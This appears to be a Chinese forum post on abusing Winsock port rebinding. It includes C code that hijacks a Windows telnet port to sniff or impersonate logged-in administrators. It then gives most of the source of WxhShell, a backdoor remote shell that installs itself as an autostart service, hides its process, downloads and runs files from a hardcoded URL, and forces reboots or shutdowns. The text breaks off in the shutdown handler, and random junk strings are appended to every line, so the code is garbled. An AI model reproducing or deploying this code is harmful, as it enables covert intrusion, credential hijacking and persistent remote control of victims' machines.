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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zrqI^i"c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z{|0W!nHJ  
4 ob?M:S  
  saddr.sin_family = AF_INET; "P0!cY8r  
}S8aR:'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  B$6KI  
E}KGZSj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $#-rOi /  
{:3\Ms#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HAL\j 5i  
mI5J] hk  
  这意味着什么?意味着可以进行如下的攻击: ;:_AOb31N  
1a/C(4 _k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2Mk;r*FT  
2 F>Y{3&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [|ZFei)r  
7)]boW~Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AmHj\NX$  
(~eS$8>.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6lCpf1>6@  
jC_'6sc`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 24nNRTI  
:o' |%JE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wgIm{;T[u  
#Lpw8b6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f] #\&"  
?)J/uU2w  
  #include D{s87h  
  #include i%!<6K6UT  
  #include "5L?RkFi\  
  #include    >t.Lc.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {?`7D:]`^  
  int main() =y-yHRC7  
  { .SjJG67OyA  
  WORD wVersionRequested; F \ls]luN  
  DWORD ret; ]:#=[ CH  
  WSADATA wsaData; J/jkb3  
  BOOL val; /6Q]f  
  SOCKADDR_IN saddr; "o+?vx-  
  SOCKADDR_IN scaddr; .n1&Jsey  
  int err; g=[OH  
  SOCKET s; _Iminet  
  SOCKET sc; iMJt8sd  
  int caddsize; l99Lxgx=  
  HANDLE mt; >zqaV@T  
  DWORD tid;   4/|x^Ky>G  
  wVersionRequested = MAKEWORD( 2, 2 ); BK%. wi  
  err = WSAStartup( wVersionRequested, &wsaData ); )M.s<Y  
  if ( err != 0 ) { Ij7P-5=<  
  printf("error!WSAStartup failed!\n"); +HBizJ9K  
  return -1; L~- /'+  
  } pDZewb&cA  
  saddr.sin_family = AF_INET; m_*wqNFA6  
   z`IW[N7Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Bmn<2[Y;  
[:{ FR2*x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8 7(t<3V&  
  saddr.sin_port = htons(23); { 7jim  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A!Cby!,  
  { lwq:0Rj@Q  
  printf("error!socket failed!\n");  s[{[pIH  
  return -1; nf^?X`g  
  } S?d<P  
  val = TRUE; /^AH/,p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B;ek a[xU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7JGc9K+Av  
  { &Gh0f"?  
  printf("error!setsockopt failed!\n"); j{OA%G(I  
  return -1; ]5jS6 @Vl*  
  } KR#,6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ":$4/b6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s-#EV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c 9f"5~  
r@3-vLI!u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {/]2~!  
  { R|8vdZ%@  
  ret=GetLastError(); 6&os`!  
  printf("error!bind failed!\n"); {lWVH  
  return -1; m;~}}~&vQ  
  } a5pl/d  
  listen(s,2); vSR&>Q%X  
  while(1) ;:D-}t;  
  { ;.uYWP|9  
  caddsize = sizeof(scaddr); #+1|O;PB#  
  //接受连接请求 -n.m "O3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yuZLsH  
  if(sc!=INVALID_SOCKET) u-t=M]  
  { -}%J3j|R:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J)YlG*  
  if(mt==NULL) FL' }~il  
  { 9$\s v5  
  printf("Thread Creat Failed!\n"); BDI@h%tJb:  
  break; :oZ<[#p"*  
  } aO(PVS|P  
  } D+3?p  
  CloseHandle(mt); xT"V9t[f  
  } U0_)J1Yp  
  closesocket(s); 9>&zOITTaL  
  WSACleanup(); bI &<L O  
  return 0; @4*:qj?  
  }   U`q keNd  
  DWORD WINAPI ClientThread(LPVOID lpParam) d5l42^Z  
  { ZU`9]7"87B  
  SOCKET ss = (SOCKET)lpParam; Ax&!Nz+?  
  SOCKET sc; gS~H1Ro  
  unsigned char buf[4096]; !G-+O#W`  
  SOCKADDR_IN saddr; @}H u)HO  
  long num; ;stuTj@vH  
  DWORD val; Ab ,^y  
  DWORD ret; nZbI}kcm  
  //如果是隐藏端口应用的话,可以在此处加一些判断  Y${'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {!|4JquE_  
  saddr.sin_family = AF_INET; 3[ [oAp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DzGUKJh6  
  saddr.sin_port = htons(23); }_'5Vb_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `[sFh%:  
  { 5`.CzQVb  
  printf("error!socket failed!\n"); M M@,J<  
  return -1; }n==^2  
  } wtek5C^  
  val = 100; \Osu1]Jn>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WiytHuUF  
  { PT2;%=f  
  ret = GetLastError(); L(TM& ps\-  
  return -1; P~trxp=k  
  } rw'+2\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '(5GR I<  
  { GM6, LzH  
  ret = GetLastError(); lD,2])>  
  return -1; J 6KHc^,7  
  } *DPX4 P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BTkx}KK  
  { XYo,5-  
  printf("error!socket connect failed!\n"); !kE5]<H\  
  closesocket(sc); 5!F;|*vC8  
  closesocket(ss); cX-M9Cz  
  return -1; N]+6<  
  } Q~(Gll;  
  while(1) bgor W"'  
  { wD9K\%jIr!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N_c44[z 1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M1kA-Xr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {]Zan'{PCO  
  num = recv(ss,buf,4096,0); 5.6tVr  
  if(num>0) ({!!b"B2  
  send(sc,buf,num,0); ""-wM~^D  
  else if(num==0) }YDi/b7  
  break; 5tlR rf  
  num = recv(sc,buf,4096,0); 1tNL)x"w  
  if(num>0) % Ln`c.C  
  send(ss,buf,num,0); 6HY): M&?  
  else if(num==0) efQ8jO  
  break; @)U.Dbm  
  } U>PZ3  
  closesocket(ss); kG>jb!e@(  
  closesocket(sc); ;MS.ag#  
  return 0 ; a#j,0FKv  
  } @N Yl4N  
\(Sly&gL  
x?wvS]EBg  
========================================================== H3rA ?F#+*  
=p@`bx  
下边附上一个代码,,WXhSHELL XZ%,h  
cdMSC7l!  
========================================================== hObL=^F  
&42 ]#B"*  
#include "stdafx.h" !vwio!  
.==D?#bn  
#include <stdio.h> 6iU&9Z<%  
#include <string.h> 8o5[tl ?w  
#include <windows.h> [{7#IZL  
#include <winsock2.h>  _<S!tW  
#include <winsvc.h> st RM *.  
#include <urlmon.h> !zE{`H a~  
Q VTL}AT2:  
#pragma comment (lib, "Ws2_32.lib") ;_cTrjMv\  
#pragma comment (lib, "urlmon.lib") _N`.1Dl%Q  
WN'AQ~qA  
#define MAX_USER   100 // 最大客户端连接数 $@z77td3  
#define BUF_SOCK   200 // sock buffer U?0|2hR~  
#define KEY_BUFF   255 // 输入 buffer o'DtW#F  
v+nXKNL  
#define REBOOT     0   // 重启 H~j@n!)  
#define SHUTDOWN   1   // 关机 cI2Ps3~"Q  
o+1 (N#?m9  
#define DEF_PORT   5000 // 监听端口 R:~aX,qR  
8 1Kf X {|  
#define REG_LEN     16   // 注册表键长度 w5m /[Z  
#define SVC_LEN     80   // NT服务名长度 f]NLR>$L}  
8oX1 F(R  
// 从dll定义API ]\M{Abqd{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VIp|U{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v}$Q   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); layxtECP(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q}@L"a`  
hZ45i?%  
// wxhshell配置信息 N1'`^ay$  
struct WSCFG { egq,)6>  
  int ws_port;         // 监听端口 w 0BphK[  
  char ws_passstr[REG_LEN]; // 口令 %> XsKXj  
  int ws_autoins;       // 安装标记, 1=yes 0=no |*{*tW C1  
  char ws_regname[REG_LEN]; // 注册表键名 O\=Z;}<N  
  char ws_svcname[REG_LEN]; // 服务名 F1yn@a "=J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OR@ 67Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9kD#'BxC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8T3,56 >  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^)dsi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CPJ<A,V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 doanTF4Da  
|=}+%>y_  
}; &ivU4rEG  
>#G%2Vp  
// default Wxhshell configuration |Rf j 0+  
struct WSCFG wscfg={DEF_PORT, G+c&e:ip<  
    "xuhuanlingzhe", tYD8Y  
    1, [7@blU  
    "Wxhshell", /]U$OP*0  
    "Wxhshell", ,l>w9?0Z  
            "WxhShell Service", E'WXi!>7p  
    "Wrsky Windows CmdShell Service",  kORWj<  
    "Please Input Your Password: ", x@  =p  
  1, H:(B^uH  
  "http://www.wrsky.com/wxhshell.exe", M1Q&)am  
  "Wxhshell.exe" 45JL{YRN  
    }; *Dg@fxCQ  
Wg}KQ6 6  
// 消息定义模块 9~UR(Ts}l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hCQOwk#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d8wGXNd7B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8>C4w 5kF  
char *msg_ws_ext="\n\rExit."; B /;(#{U;  
char *msg_ws_end="\n\rQuit."; v^&HZk=(  
char *msg_ws_boot="\n\rReboot..."; #ZZe*B!s_  
char *msg_ws_poff="\n\rShutdown..."; =IL\T8y09  
char *msg_ws_down="\n\rSave to "; 1GN^ui a7  
[Hx}#Kds  
char *msg_ws_err="\n\rErr!"; !RKuEg4hQ  
char *msg_ws_ok="\n\rOK!"; u#ya 8  
gT8(LDJ  
char ExeFile[MAX_PATH]; )q<VZ|V  
int nUser = 0; WM+8<|)n  
HANDLE handles[MAX_USER]; {7e(0QK  
int OsIsNt; FS"Ja`>j~  
I=L[ "]  
SERVICE_STATUS       serviceStatus; )?72 +X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eCI'<^  
t!\aDkxo %  
// 函数声明 R2)@Q  
int Install(void); C@qWour  
int Uninstall(void); XIIq0I  
int DownloadFile(char *sURL, SOCKET wsh); ?A@y4<8R|  
int Boot(int flag); :j]6vp 6  
void HideProc(void); E3wpC#[Q1  
int GetOsVer(void); I{$suPk  
int Wxhshell(SOCKET wsl); 0N1t.3U  
void TalkWithClient(void *cs); ,3?=W/Um4  
int CmdShell(SOCKET sock); 8O^x~[sQ  
int StartFromService(void); >M5}L<  
int StartWxhshell(LPSTR lpCmdLine); f,O10`4s  
J^"_H:1[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :cA P{rSe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1:eWZ]B5"  
KGJSGvo+y  
// 数据结构和表定义 KF7w{A){  
SERVICE_TABLE_ENTRY DispatchTable[] = D*.3]3-I  
{ Oem1=QpaC  
{wscfg.ws_svcname, NTServiceMain}, ~|KqG  
{NULL, NULL} R6<'J?k  
}; -)-: rRx-  
!8p>4|VM  
// 自我安装 xI<l1@  
int Install(void) 'wPX.h?  
{ #. Dl1L/  
  char svExeFile[MAX_PATH]; k)knyEUi  
  HKEY key; nDn+lWA=g  
  strcpy(svExeFile,ExeFile); 3Y P! B=  
 C6gSj1  
// 如果是win9x系统,修改注册表设为自启动 6O/L~Z*t  
if(!OsIsNt) { 2]fTDKh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tM5(&cQ!d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z 4}"oQk:r  
  RegCloseKey(key); *$7^.eHfdd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %ZRv+}z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xf;!w:u  
  RegCloseKey(key); G:e=9qTf  
  return 0; \B')2phE  
    } 3JD62wtx  
  } p7+{xXf  
} 1 k!gR  
else { "pt[Nm76)8  
6`9QGi,)  
// 如果是NT以上系统,安装为系统服务 (B` NnL$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $U,]c  
if (schSCManager!=0) jpi,BVTI-X  
{ JSg=9p$  
  SC_HANDLE schService = CreateService nIH(2j  
  ( yi^X?E{WnX  
  schSCManager, 7NEOaX(J9  
  wscfg.ws_svcname, azmeJpC  
  wscfg.ws_svcdisp, ydD:6bBX  
  SERVICE_ALL_ACCESS, ]9 @4P$I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rs<S}oeLn  
  SERVICE_AUTO_START, qo9&e~Y<G  
  SERVICE_ERROR_NORMAL, x6>WvF Z  
  svExeFile, 44QW&qL!(  
  NULL, bHTf{=  
  NULL, ]>)}xfL &,  
  NULL, u9;3Xn8  
  NULL, e|A=sCN-  
  NULL %w_MRC  
  ); !T`g\za/  
  if (schService!=0) =0e>'Iw2  
  { TFbc@rfB  
  CloseServiceHandle(schService); []\-*{^r  
  CloseServiceHandle(schSCManager); PM*lnd#J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R?:K\  
  strcat(svExeFile,wscfg.ws_svcname); V,ZRX}O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { heF'7ezv#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -0(+a$P7e  
  RegCloseKey(key); LZ#A`&qUd  
  return 0; K{y`Sb~k  
    } i_L u  
  } GF9iK|i/  
  CloseServiceHandle(schSCManager);  V13^SVM  
} ~i-n_7+  
} 0Wd5s{S  
P,S!Z&!  
return 1; "QfF]/:  
} 2v?#r"d  
gd3MP^O1  
// 自我卸载 / pe.?Zd  
int Uninstall(void) MXVCu"g%  
{ 3 } $9./+  
  HKEY key; =]Y'xzJuu  
D{]w +  
if(!OsIsNt) { "`K73M,c?9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;|rFP  
  RegDeleteValue(key,wscfg.ws_regname); cmf*BkS  
  RegCloseKey(key); O,@QGUoA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F[ ^ p~u{  
  RegDeleteValue(key,wscfg.ws_regname); 1b=\l/2  
  RegCloseKey(key); <c`,fd8  
  return 0; _z^&zuO  
  } ^CwS'/fdN  
}  Z1H  
} =w7k@[Bq  
else { >taT V_,  
R{4[.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wj$3 L3  
if (schSCManager!=0) g[2[ zIB=  
{ "=f,4Zbj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gO~>*q &  
  if (schService!=0) ohXbA9&(x  
  { :)_P7k`>e/  
  if(DeleteService(schService)!=0) { Ft2 ZZ<As  
  CloseServiceHandle(schService); yOjTiVQ9  
  CloseServiceHandle(schSCManager); .R+n}>+K  
  return 0; USf;}F:-C  
  } KG5B6Om5'  
  CloseServiceHandle(schService); ng2yZ @$  
  } 78z/D|{"  
  CloseServiceHandle(schSCManager); D//Ts`}+n  
} My9fbT  
} p'SY 2xq-,  
5tb i};  
return 1; A- hWg;  
} Th])jQ*  
Y%rC\Ij/i  
// 从指定url下载文件 t;%MSedn  
int DownloadFile(char *sURL, SOCKET wsh) AK;G_L  
{ Lp||C@h~  
  HRESULT hr; [0NH#88ym<  
char seps[]= "/"; <CP't[  
char *token; \]/ 6>yT  
char *file; !ImtnU}  
char myURL[MAX_PATH]; G_p13{"IM  
char myFILE[MAX_PATH]; \U`rF  
]kkH|b$[T  
strcpy(myURL,sURL); 2L2)``*   
  token=strtok(myURL,seps); 8-vNXvl  
  while(token!=NULL) 0.Nik^~  
  { p)Q='  
    file=token; FCr>$  
  token=strtok(NULL,seps);  b|h`v  
  } g|3FJA/  
zQ eXN7$  
GetCurrentDirectory(MAX_PATH,myFILE); @h\u}Ee  
strcat(myFILE, "\\"); zI>,A|yy  
strcat(myFILE, file); CI?M2\<g  
  send(wsh,myFILE,strlen(myFILE),0); D #twS  
send(wsh,"...",3,0); I'uRXvEr7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DCtrTX  
  if(hr==S_OK) 8J7<7Sx  
return 0; d 'wWj  
else /?8rj3  
return 1; | \JB/x  
Yg7C"3;Vt  
} ?< $DQ%bf  
^$O,Gy)V  
// 系统电源模块 w0t||qj^>"  
int Boot(int flag) 2}R)0][W  
{ [318Q%W&  
  HANDLE hToken; |a {*r.  
  TOKEN_PRIVILEGES tkp; r(qU~re'  
l7JY`x  
  if(OsIsNt) { V-iY2YiR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {@[z-)N7\,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z4Qq#iHZR  
    tkp.PrivilegeCount = 1; 5AT[1@H(_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?\Jl] {i2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZA4vQDW  
if(flag==REBOOT) { n.xW"omN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?g'? Ou  
  return 0; *e05{C:kS  
} "(d7:!%  
else { Go_~8w0<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Wm:Ilq  
  return 0; DbkKmv&  
} %,*{hhfu  
  } /e}NZo{)g  
  else { p[%FH?  
if(flag==REBOOT) { [& &9F};  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P\CT|K'P  
  return 0; f?A*g$v  
} i/U HDqZ  
else { i~6qOlLD-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oos7x6  
  return 0; j!P]xl0vOZ  
} H6XlSj  
} )W/ mt[;  
V"@]PI pr  
return 1; #4*~ 4/  
} vN%SN>=L<  
(-(sBQa+  
// win9x进程隐藏模块 #Hr>KQ5mJQ  
void HideProc(void) ZK@ENfG  
{ H?>R#Ds-  
!7-dqw%l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w+~s}ta2^  
  if ( hKernel != NULL ) %A dE5HI-  
  { .pOTIRbA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^i^/d#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0Y9\,y_  
    FreeLibrary(hKernel); XaV h.  
  } bgjo_!J+Pp  
/r Hd9^Y  
return; Hb;#aXHSd  
} *.J)7~(P  
#yk m  
// 获取操作系统版本 ]QS? fs Z  
int GetOsVer(void) tQ:)j^\  
{ Ln})\ UDK)  
  OSVERSIONINFO winfo; xCMcS~ 3/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w#5^A(NR  
  GetVersionEx(&winfo); S]3t{s#JW7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y#Ao6Od6  
  return 1; L= fz:H  
  else 4cni_m]  
  return 0; /JfRy%31  
} )FkJ=P0  
Og?]y ^y  
// 客户端句柄模块 /bj D*rj  
int Wxhshell(SOCKET wsl) m]$!wp  
{  T^ ^o  
  SOCKET wsh; ~g+?]Lk}  
  struct sockaddr_in client; wYJ.F  
  DWORD myID; dhW)<  
^xO CT=V  
  while(nUser<MAX_USER) K_4}N%P/))  
{ 7 p(^I*|  
  int nSize=sizeof(client); ^6 F-H(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DDT)l+:XP  
  if(wsh==INVALID_SOCKET) return 1; $e7dE$eH  
!PI& y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R;gN^Yjk:  
if(handles[nUser]==0) PG8|w[V1"  
  closesocket(wsh); I_IDrS)O  
else 9GuG"^08  
  nUser++; hGx)X64Mw  
  } ((TiBCF4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8C2s-%:  
G-[fz  
  return 0; Lmx95[#@a  
} _ a|zvH  
 h+Dp<b  
// 关闭 socket #N?EPV$  
void CloseIt(SOCKET wsh) -gl7mO*  
{ ika/ GG  
closesocket(wsh); ~*9 vn Z@  
nUser--; v_PhJKE  
ExitThread(0); NuKktQd  
} 0 V:z(r  
'PF?D~  
// 客户端请求句柄 eDR4 c%  
void TalkWithClient(void *cs) x8xSA*@k  
{ ML!Z m[I9  
X|)Ox ,(  
  SOCKET wsh=(SOCKET)cs;  g-MaP  
  char pwd[SVC_LEN]; hmv"|1Sa!~  
  char cmd[KEY_BUFF]; Iq`:h&'!L  
char chr[1]; f\FubL  
int i,j; 9pD=E>4?#  
}u0t i"V  
  while (nUser < MAX_USER) { Bkvh]k;F8  
qh!2dj  
if(wscfg.ws_passstr) { Np=IZ npt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mdW8RsR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V8w!yc  
  //ZeroMemory(pwd,KEY_BUFF); 1H{M0e  
      i=0; Nh7+Vl  
  while(i<SVC_LEN) { A\9Q gM  
R87-L*9B^0  
  // 设置超时 M/XxiF  
  fd_set FdRead; !j,LS$tPu  
  struct timeval TimeOut; #;?j]npg]  
  FD_ZERO(&FdRead); YoV^Y&:9<  
  FD_SET(wsh,&FdRead); y~CK&[H  
  TimeOut.tv_sec=8; AOhfQ:E 4  
  TimeOut.tv_usec=0; Ly1V@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o qa]iBO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E(F<shT#  
y#Je%tAe 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h0ufl.N_%  
  pwd=chr[0]; *6 oQW  
  if(chr[0]==0xd || chr[0]==0xa) { m0+X 109  
  pwd=0; :|3n`,  
  break; SnsOuC5Ah  
  } kYBy\  
  i++; t(YrF,  
    } j^ VAA\  
$gU6=vN1#  
  // 如果是非法用户,关闭 socket  ~{7/v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kZXsL  
} s*<\ mwB  
8C1 'g7A<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RM8p[lfX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'xi[- -  
;Ll/rJ:*  
while(1) { QZ!;` ?(  
`,XCD-R^  
  ZeroMemory(cmd,KEY_BUFF); ]3Z?Q  
##~";j  
      // 自动支持客户端 telnet标准   Fdsaf[3[v  
  j=0;  'k[O?}  
  while(j<KEY_BUFF) { 2JNO@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &eYnO~$!  
  cmd[j]=chr[0]; O(U 'G|  
  if(chr[0]==0xa || chr[0]==0xd) { ZSC Zt&2v  
  cmd[j]=0; I^>m-M.  
  break; eYd6~T[9  
  } i`-,=RJ  
  j++; rxZ%vzVQ>  
    } LWQ.!;HYp  
R4+Gmx1  
  // 下载文件 G9y 0;br  
  if(strstr(cmd,"http://")) { k*)O]M<,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^.5`jdk  
  if(DownloadFile(cmd,wsh)) 8zv=@`4@G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}Gz3>?24=  
  else ^V]DQ%v"I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #w\Bc\  
  } d4OWnPHv&}  
  else { ck-ab0n  
2%Bq[SMuN  
    switch(cmd[0]) { +X)n}jh  
  d1YE$   
  // 帮助 HAa2q=  
  case '?': { oxkA+}^j8M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EugQr<sM#  
    break; X=O}k&  
  } /5 rWcX  
  // 安装 tmM8YN|  
  case 'i': { gd~# uR\  
    if(Install()) zrD];DP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?\'Z~B4  
    else ^MJTlRUb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hs'J'~a  
    break; 1T(:bM_t`7  
    } Rv R ,V  
  // 卸载 ^+Ho#]  
  case 'r': { W\xM$#)m  
    if(Uninstall()) 9Yih%d,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @* a'B=7  
    else e!cZW.B=`f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d4@\5<  
    break; E[N5vG<  
    } f( (p\ &y  
  // 显示 wxhshell 所在路径 8SmtEV[b3  
  case 'p': { TNY d_:j  
    char svExeFile[MAX_PATH]; 3,qq\gxB  
    strcpy(svExeFile,"\n\r"); ^zjQ(ca@"x  
      strcat(svExeFile,ExeFile); 0@;kD]Z  
        send(wsh,svExeFile,strlen(svExeFile),0); Z Z1s}TG  
    break; -&87nR(eW  
    } @o&.]FZs  
  // 重启 Gt{'` P,&9  
  case 'b': { WU oGIT'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /9/svPc]  
    if(Boot(REBOOT)) ;DWtCtD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yv0;UKd  
    else { qkX}pQkG)h  
    closesocket(wsh); DtBIDU]  
    ExitThread(0); XI6LPA0%  
    } >?b<)Q*<  
    break; CRsgR)  
    } F$a?} }  
  // 关机 FQNw89g  
